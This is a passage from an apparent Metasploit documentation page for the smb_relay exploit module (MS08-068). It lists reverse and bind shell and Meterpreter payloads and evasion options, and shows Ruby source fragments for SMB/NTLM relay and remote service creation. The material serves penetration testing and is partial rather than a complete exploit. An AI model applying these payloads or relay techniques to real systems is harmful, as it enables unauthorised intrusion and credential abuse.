183 payload/windows/vncinject/reverse_tcp_rc4_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
184 payload/windows/vncinject/reverse_tcp_uuid normal No VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
185 payload/windows/vncinject/reverse_winhttp normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
186 payload/windows/x64/exec normal No Windows x64 Execute Command
187 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
188 payload/windows/x64/messagebox normal No Windows MessageBox x64
189 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
190 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
191 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
192 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
193 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
194 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
195 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
196 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
197 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
198 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
199 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
200 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
201 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
202 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
203 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
204 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
205 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
206 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
207 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
208 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
209 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
210 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
211 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
212 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
213 payload/windows/x64/pingback_reverse_tcp normal No Windows x64 Pingback, Reverse TCP Inline
214 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
215 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
216 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
217 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
218 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
219 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
220 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
221 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
222 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
223 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
224 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
225 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
226 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
227 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
228 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
229 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
230 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
231 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
232 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
233 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
234 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
235 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
236 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
237 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
238 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
239 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/smb/smb_relay exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/smb/smb_relay) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Error: <E>
- Error: <E>
- Error: <E>
- Error: <E>
- Error: <E>
- ErrorClass
- ErrorClass
- Error connecting to <TARGET_HOST>:<RPORT> <E.CLASS> <E>
- Could not connect to the target host (<TARGET_HOST>), the target may be firewalled.
- Could not negotiate NTLMv1 with <TARGET_HOST>:<RPORT> <E.CLASS> <E>
- No challenge key received from <SMB:IP>:<RPORT>
- Error connecting to <TARGET_HOST>:<RPORT> <E.CLASS> <E>
- Could not connect to the target host (<TARGET_HOST>), the target may be firewalled.
- The NTLMSSP negotation didn't provide the server guid from <SMB:IP>:<RPORT>
- Failed to authenticate as <SMB:DOMAIN><SMB:USERNAME>...
- ErrorClass
- SMB Capture - Error finding NTLMSSP in SMB_COM_SESSION_SETUP_ANDX request from <SMB:NAME> - <SMB:IP>, ignoring ...
- ErrorClass
- ErrorClass
- ErrorClass
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Error: <E>
Here is a relevant code snippet related to the "Error: <E>" error message:
177: response = dcerpc.call(0x0f, stubdata)
178: if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
179: scm_handle = dcerpc.last_response.stub_data[0,20]
180: end
181: rescue ::Exception => e
182: print_error("Error: #{e}")
183: return
184: end
185:
186: ##
187: # CreateServiceW()
Error: <E>
Here is a relevant code snippet related to the "Error: <E>" error message:
216: if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
217: svc_handle = dcerpc.last_response.stub_data[0,20]
218: svc_status = dcerpc.last_response.stub_data[24,4]
219: end
220: rescue ::Exception => e
221: print_error("Error: #{e}")
222: return
223: end
224:
225:
226: ##
Error: <E>
Here is a relevant code snippet related to the "Error: <E>" error message:
245: response = dcerpc.call(0x10, stubdata)
246: if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
247: svc_handle = dcerpc.last_response.stub_data[0,20]
248: end
249: rescue ::Exception => e
250: print_error("Error: #{e}")
251: return
252: end
253:
254: ##
255: # StartService()
Error: <E>
Here is a relevant code snippet related to the "Error: <E>" error message:
277: begin
278: response = dcerpc.call(0x02, stubdata)
279: if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
280: end
281: rescue ::Exception => e
282: print_error("Error: #{e}")
283: end
284:
285: ##
286: # CloseHandle()
287: ##
Error: <E>
Here is a relevant code snippet related to the "Error: <E>" error message:
287: ##
288: print_status("Closing service handle...")
289: begin
290: response = dcerpc.call(0x0, svc_handle)
291: rescue ::Exception => e
292: print_error("Error: #{e}")
293: end
294:
295: rclient.disconnect("\\\\#{smb[:rhost]}\\IPC$")
296:
297: print_status("Deleting \\#{filename}...")
ErrorClass
Here is a relevant code snippet related to the "ErrorClass" error message:
330: print_status("Denying tree connect from #{smb[:name]}")
331: pkt = CONST::SMB_BASE_PKT.make_struct
332: pkt['Payload']['SMB'].v['Command'] = cmd
333: pkt['Payload']['SMB'].v['Flags1'] = 0x88
334: pkt['Payload']['SMB'].v['Flags2'] = 0xc001
335: pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000022
336: c.put(pkt.to_s)
337:
338: else
339: print_status("Ignoring request from #{smb[:name]} (#{cmd})")
340: pkt = CONST::SMB_BASE_PKT.make_struct
ErrorClass
Here is a relevant code snippet related to the "ErrorClass" error message:
339: print_status("Ignoring request from #{smb[:name]} (#{cmd})")
340: pkt = CONST::SMB_BASE_PKT.make_struct
341: pkt['Payload']['SMB'].v['Command'] = cmd
342: pkt['Payload']['SMB'].v['Flags1'] = 0x88
343: pkt['Payload']['SMB'].v['Flags2'] = 0xc001
344: pkt['Payload']['SMB'].v['ErrorClass'] = 0 # 0xc0000022
345: c.put(pkt.to_s)
346: end
347: end
348:
349: def smb_cmd_negotiate(c, buff)
Error connecting to <TARGET_HOST>:<RPORT> <E.CLASS> <E>
Here is a relevant code snippet related to the "Error connecting to <TARGET_HOST>:<RPORT> <E.CLASS> <E>" error message:
442: )
443: break if rsock
444: rescue ::Interrupt
445: raise $!
446: rescue ::Exception => e
447: print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}")
448: end
449: end
450:
451: unless rsock
452: print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.")
Could not connect to the target host (<TARGET_HOST>), the target may be firewalled.
Here is a relevant code snippet related to the "Could not connect to the target host (<TARGET_HOST>), the target may be firewalled." error message:
447: print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}")
448: end
449: end
450:
451: unless rsock
452: print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.")
453: return
454: end
455:
456: rclient = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false, backend: :rex)
457:
Could not negotiate NTLMv1 with <TARGET_HOST>:<RPORT> <E.CLASS> <E>
Here is a relevant code snippet related to the "Could not negotiate NTLMv1 with <TARGET_HOST>:<RPORT> <E.CLASS> <E>" error message:
458: begin
459: rclient.login_split_start_ntlm1(smb[:nbsrc])
460: rescue ::Interrupt
461: raise $!
462: rescue ::Exception => e
463: print_error("Could not negotiate NTLMv1 with #{target_host}:#{rport} #{e.class} #{e}")
464: raise e
465: end
466:
467: unless rclient.client.challenge_key
468: print_error("No challenge key received from #{smb[:ip]}:#{rport}")
No challenge key received from <SMB:IP>:<RPORT>
Here is a relevant code snippet related to the "No challenge key received from <SMB:IP>:<RPORT>" error message:
463: print_error("Could not negotiate NTLMv1 with #{target_host}:#{rport} #{e.class} #{e}")
464: raise e
465: end
466:
467: unless rclient.client.challenge_key
468: print_error("No challenge key received from #{smb[:ip]}:#{rport}")
469: rsock.close
470: return
471: end
472:
473: if smb[:rsock]
Error connecting to <TARGET_HOST>:<RPORT> <E.CLASS> <E>
Here is a relevant code snippet related to the "Error connecting to <TARGET_HOST>:<RPORT> <E.CLASS> <E>" error message:
495: }
496: )
497: rescue ::Interrupt
498: raise $!
499: rescue ::Exception => e
500: print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}")
501: end
502:
503: unless rsock
504: print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.")
505: return
Could not connect to the target host (<TARGET_HOST>), the target may be firewalled.
Here is a relevant code snippet related to the "Could not connect to the target host (<TARGET_HOST>), the target may be firewalled." error message:
499: rescue ::Exception => e
500: print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}")
501: end
502:
503: unless rsock
504: print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.")
505: return
506: end
507:
508: rclient = Rex::Proto::SMB::SimpleClient.new(rsock, true, backend: :rex)
509:
The NTLMSSP negotation didn't provide the server guid from <SMB:IP>:<RPORT>
Here is a relevant code snippet related to the "The NTLMSSP negotation didn't provide the server guid from <SMB:IP>:<RPORT>" error message:
508: rclient = Rex::Proto::SMB::SimpleClient.new(rsock, true, backend: :rex)
509:
510: rclient.client.negotiate(true) # extended security true
511:
512: unless rclient.client.server_guid
513: print_error("The NTLMSSP negotation didn't provide the server guid from #{smb[:ip]}:#{rport}")
514: rsock.close
515: return
516: end
517:
518: # If in the answer the Extended Security Negotiation (Flags2) is set
Failed to authenticate as <SMB:DOMAIN>\<SMB:USERNAME>...
Here is a relevant code snippet related to the "Failed to authenticate as <SMB:DOMAIN>\<SMB:USERNAME>..." error message:
612:
613: if res
614: print_status("AUTHENTICATED as #{smb[:domain]}\\#{smb[:username]}...")
615: smb_haxor(c)
616: else
617: print_error("Failed to authenticate as #{smb[:domain]}\\#{smb[:username]}...")
618: end
619: end
620:
621: print_status("Sending Access Denied to #{smb[:name]} #{smb[:domain]}\\#{smb[:username]}")
622:
ErrorClass
Here is a relevant code snippet related to the "ErrorClass" error message:
624: smb_set_defaults(c, pkt)
625:
626: pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
627: pkt['Payload']['SMB'].v['Flags1'] = 0x88
628: pkt['Payload']['SMB'].v['Flags2'] = 0xc001
629: pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000022
630: c.put(pkt.to_s)
631: end
632:
633: def smb_cmd_session_setup_ntlmssp(c, buff)
634: smb = @state[c]
SMB Capture - Error finding NTLMSSP in SMB_COM_SESSION_SETUP_ANDX request from <SMB:NAME> - <SMB:IP>, ignoring ...
Here is a relevant code snippet related to the "SMB Capture - Error finding NTLMSSP in SMB_COM_SESSION_SETUP_ANDX request from <SMB:NAME> - <SMB:IP>, ignoring ..." error message:
646: c_gss = true
647: start = blob.index('NTLMSSP')
648: if start
649: blob.slice!(0,start)
650: else
651: print_status("SMB Capture - Error finding NTLMSSP in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]} - #{smb[:ip]}, ignoring ...")
652: smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
653: return
654: end
655: end
656: ntlm_message = NTLM_MESSAGE::parse(blob)
ErrorClass
Here is a relevant code snippet related to the "ErrorClass" error message:
699: native_data = ''
700: native_data << "Unix\x00" #Native OS
701: native_data << "Samba\x00" #Native LanMAN
702:
703: challenge['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
704: challenge['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED
705: challenge['Payload']['SMB'].v['Flags1'] = 0x80
706: challenge['Payload']['SMB'].v['Flags2'] = 0xc801 # no signing
707: challenge['Payload']['SMB'].v['WordCount'] = 4
708: challenge['Payload'].v['AndX'] = 0xFF
709: challenge['Payload'].v['Reserved1'] = 0x00
ErrorClass
Here is a relevant code snippet related to the "ErrorClass" error message:
740: rclient.client.auth_user_id
741: )
742: resp = rclient.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
743:
744: #check if auth was successful
745: if (resp['Payload']['SMB'].v['ErrorClass'] == 0)
746: print_good("SMB auth relay against #{smb[:rhost]} succeeded")
747: smb_haxor(c)
748: else
749: failure = Rex::Proto::SMB::Exceptions::ErrorCode.new
750: failure.word_count = resp['Payload']['SMB'].v['WordCount']
ErrorClass
Here is a relevant code snippet related to the "ErrorClass" error message:
746: print_good("SMB auth relay against #{smb[:rhost]} succeeded")
747: smb_haxor(c)
748: else
749: failure = Rex::Proto::SMB::Exceptions::ErrorCode.new
750: failure.word_count = resp['Payload']['SMB'].v['WordCount']
751: failure.command = resp['Payload']['SMB'].v['Command']
752: failure.error_code = resp['Payload']['SMB'].v['ErrorClass']
753: raise failure
754: end
755: end
756: end
Go back to menu.
Related Pull Requests
- #14941 Merged Pull Request: Force smb_relay module to use the Rex SMB client over ruby_smb
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6331 Merged Pull Request: Fix #6330, generate_payload_exe returning nil for generic bind/reverse payloads
- #6139 Merged Pull Request: Remove bad references (dead links)
- #5868 Merged Pull Request: Support x64 payloads
- #4768 Merged Pull Request: Reorganize SMB mixins
- #4706 Merged Pull Request: Add NTLMSSP support for smb_relay
- #3162 Merged Pull Request: Microsoft module name changes
- #2525 Merged Pull Request: Change module boilerplate
- #1409 Merged Pull Request: Patch for smb_relay.rb to allow the share written to, to be defined in an option
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
- #690 Merged Pull Request: Updating msft links to psexec
References
- CVE-2008-4037
- OSVDB (49736)
- MS08-068
- http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx
- http://en.wikipedia.org/wiki/SMBRelay
- http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
See Also
Check also the following modules related to this module:
- exploit/windows/smb/smb_delivery
- exploit/windows/smb/smb_doublepulsar_rce
- exploit/windows/smb/smb_rras_erraticgopher
- exploit/windows/smb/smb_shadow
- exploit/windows/smb/cve_2020_0796_smbghost
- exploit/windows/smb/generic_smb_dll_injection
- exploit/windows/smb/group_policy_startup
- exploit/windows/smb/ipass_pipe_exec
- exploit/windows/smb/ms03_049_netapi
- exploit/windows/smb/ms04_007_killbill
- exploit/windows/smb/ms04_011_lsass
- exploit/windows/smb/ms04_031_netdde
- exploit/windows/smb/ms05_039_pnp
- exploit/windows/smb/ms06_025_rasmans_reg
- exploit/windows/smb/ms06_025_rras
- exploit/windows/smb/ms06_040_netapi
- exploit/windows/smb/ms06_066_nwapi
- exploit/windows/smb/ms06_066_nwwks
- exploit/windows/smb/ms06_070_wkssvc
- exploit/windows/smb/ms07_029_msdns_zonename
- exploit/windows/smb/ms08_067_netapi
- exploit/windows/smb/ms09_050_smb2_negotiate_func_index
- exploit/windows/smb/ms10_046_shortcut_icon_dllloader
- exploit/windows/smb/ms10_061_spoolss
- exploit/windows/smb/ms15_020_shortcut_icon_dllloader
- exploit/windows/smb/ms17_010_eternalblue
- exploit/windows/smb/ms17_010_eternalblue_win8
- exploit/windows/smb/ms17_010_psexec
- exploit/windows/smb/netidentity_xtierrpcpipe
- exploit/windows/smb/psexec
- exploit/windows/smb/timbuktu_plughntcommand_bof
- exploit/windows/smb/webexec
- exploit/netware/smb/lsass_cifs
- exploit/windows/fileformat/vlc_smb_uri
- exploit/windows/local/cve_2020_0796_smbghost
Related Nessus plugins:
Authors
- hdm
- juan vazquez
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.